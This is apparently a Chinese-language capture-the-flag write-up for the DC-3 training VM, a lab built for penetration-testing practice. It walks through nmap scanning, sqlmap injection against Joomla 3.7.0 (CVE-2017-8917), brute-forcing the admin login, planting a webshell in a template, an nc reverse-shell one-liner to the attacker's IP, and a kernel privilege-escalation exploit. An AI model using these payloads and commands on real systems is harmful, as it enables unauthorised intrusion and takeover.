简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-3(包含1个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-3 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-3和kali在同一网段 | 已知DC-3所在的网段 —— DC-3 IP地址:192.168.130.132/24 |
3.1信息收集
获取DC-3的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-3的IP地址是:192.168.108.132/24
端口扫描
命令:nmap -sV -p- 192.168.108.132
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 | 服务 | 版本 |
80 | http | apache 2.4.18 |
3.2 渗透测试
这里我们只发现了80端口,打开查看之后发现是一个登陆网页(顺手绑定hosts文件),首先想到的就是继续进行CMS识别、查看是否可以找到后台登陆界面对、账号密码的暴力破解
CMS识别结果:
Joomla版本:3.7.0
自述文件:http://dc-3/README.txt
管理员的URL:http://dc-3/administrator
自述文件(http://dc-3/README.txt):
管理员URL(http://dc-3/administrator/):
其余扫描到的目录URL:
http://dc-3/administrator/modules
http://dc-3/administrator/components
http://dc-3/administrator/templates
对于后台管理登录页面使用burp抓包先用SQLMAP跑一下
sqlmap一把梭哈失败,还是使用msf查找一下cms的漏洞吧
msf
这里使用2017年的 CVE-2017-8917 漏洞
ok,可以看到这里直接一把梭哈拿到了getshell
老规矩,先转换一个shell的交互方式(python -c 'import pty;pty.spawn("/bin/bash")')
在这里还以为DC-3和DC-1、DC-2一样是5个flag,傻傻的使用find / -name "%flag%"找flag,结果自然是没有结果,去官网一看,结果题目是只有一个flag,那不用说了,想办法提权吧
简单查看之后也没有找到什么突破口,没办法使用suid进行提权(find / -perm -4000 2>/dev/null),既然是msf进来的,那么直接使用msf进行提权吧
这里需要注意一点就是在namp扫描的时候扫描出来了DC-3的系统是ubuntu的,也可以使用 cat /etc/issue 来查看系统版本,最终确定是ubuntu(16.04)
使用msf查看ubuntu 16.04的相关漏洞
这里出了一点问题,靶机应该自动更新了,这个姿势进不去了,重新导入也不行,换个姿势进去吧
直接使用 searchsploit(kali自带的漏洞库)查询 joomla 3.7.0 的相关漏洞
searchsploit joomla 3.7.0 # 查询 searchsploit 漏洞库里的相关漏洞信息
可以看到第一个就是关于SQL注入的漏洞,我们以它作为突破口,所以接着查看详细的信息
详细信息
URL:https://www.exploit-db.com/exploits/42033
路径:/usr/share/exploitdb/exploits/php/webapps/42033.txt
File type:ASCII text
拓展一个知识点(searchsploit 的使用方式)
这里使用 searchsploit -x php/webapps/42033.txt
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
-x, --examine [EDB-ID] 使用$ PAGER检查(副本)Exp
可以看到根据漏洞描述,直接上sqlmap
将paylod里面的 http://localhost 换成靶机的地址 http://dc-3
sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] # --dbs作用是查找全部的数据库,遇到选项一直按y就行
结果如下:
接下来一直使用这个payload进行后续的判断权限、当前用户、查表、字段、数据读取
--is-db(返回为true,是超户)
--current-db(确认当前数据库名为joomladb)
--current-user(确认当前用户是名为root的用户,超户)
--tables -D "joomladb"(在此数据库下查到了 76 个表名,这个#__users就很可疑,继续探测)
--columns -T "#__users" -D "joomladb"(就很奇怪,在读列名这里又一次出现了问题,想了不少办法,甚至直接 --dump 下载整个数据库也不行)
--dump
实在没办法了,直接burp暴力破解吧
burp暴力破解
设置变量位置、变量参数(弱口令)
变量1(账号) | 变量2(密码) |
爆破结果(admin、snoopy):
直接尝试进行管理后台登录,成功登录
已经成功登录后台管理页面之后,没有什么好方法,只能仔细翻看,最后发现templates下存在模板(随便一个可以上传webshell的就行),而模板里的php文件可编辑。
上传webshell
使用蚁剑连接(直接使用/html/webshell.php文件路径不对,根据模块中的信息猜测尝试之后发现文件路径为/templates/beez3/html/webshell.php)
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.108.129 6868 >/tmp/f
尝试之后发现上面这条命令被执行成功
提权
终于是又一次成功的拿到了shell,接下来就还是最开始的问题,开始进行提权,因为之前已经获取到了DC-3靶机的系统版本信息,这里直接上漏洞库查询即可
searchsploit Ubuntu 16.04
这里发现了不少是和权限提升相关的,查看一下Linux系统的版本,发现是Linux version 4.4.0-21
cat /proc/version
信息结合筛选之后就剩下了这六个可以尝试利用
像之前的sql那个payload一样,使用-x去查看相关漏洞的详细信息查询(可以都去尝试一下,这里就直接使用39772.txt了)
先根据提示下载攻击压缩包
下载好之后直接使用蚁剑上传到 DC-3 靶机里面
然后直接解压提权,在root的家目录下拿到flag
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
./compile.sh # 编译
./doubleput # 提权